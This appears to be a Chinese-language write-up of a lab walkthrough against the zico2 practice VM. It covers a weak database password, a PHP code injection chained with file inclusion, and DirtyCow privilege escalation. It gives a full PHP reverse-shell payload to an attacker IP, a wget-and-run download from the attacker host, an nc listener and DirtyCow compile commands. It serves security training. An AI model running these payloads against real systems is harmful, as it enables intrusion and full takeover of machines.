实验环境
靶机:zico2
测试机: win10 ,kali
实验过程
信息收集
主机发现
靶机IP:192.168.238.156
端口扫描
网站指纹
目录扫描
网站主页
漏洞发现
数据库登录口(弱口令爆破,sql注入,逻辑漏洞等)
密码:admin 进到了数据库
先看到两个用户尝试解密
root:34kroot34
zico:zico2215@
登陆下ssh(登不进去)
searchsploit扫到一个数据库漏洞
漏洞利用
意思是一个php代码执行漏洞
攻击者可以创建带有php扩展名的sqlite数据库,并将php代码作为文本字段插入。
完成后,攻击者只需使用Webbrowser访问数据库文件即可执行该操作。
找到页面文件包含漏洞
可以结合上面的php远程代码执行,新建个数据库
进行反弹shell
<?php $sock=fsockopen("192.168.238.143",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>
kali监听:nc -nvlp 1234
连接不稳定换种方式
kali开启apache服务var/www/html下写入反弹shell
重新写入
<?php system("wget 192.168.238.143/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>
监听,利用文件包含访问
http://192.168.238.156/view.php?page=../../../../usr/databases/shell.php
拿到shell
提权
脏牛提权
反弹个终端
python -c 'import pty; pty.spawn("/bin/bash")'
提权脚本放到kali,apache服务网站根目录下
到tmp目录下wget 192.168.238.143/dirtycow.c
编译:
gcc -pthread dirtycow.c -lcrypt -o dirtycow
chmod 777 dirtycow
./dirtycow
会创建一个firefart用户覆盖root
su firefart输入密码拿到管理员权限
总结
1 得到shell,尽量在tmp(权限小)目录下操作
2 发现的用户名,可尝试ssh等多种登录
3.文件包含的标志(page,file,path,load等)
3 数据库弱口令,数据库写入代码,结合文件包含执行(要知道路径)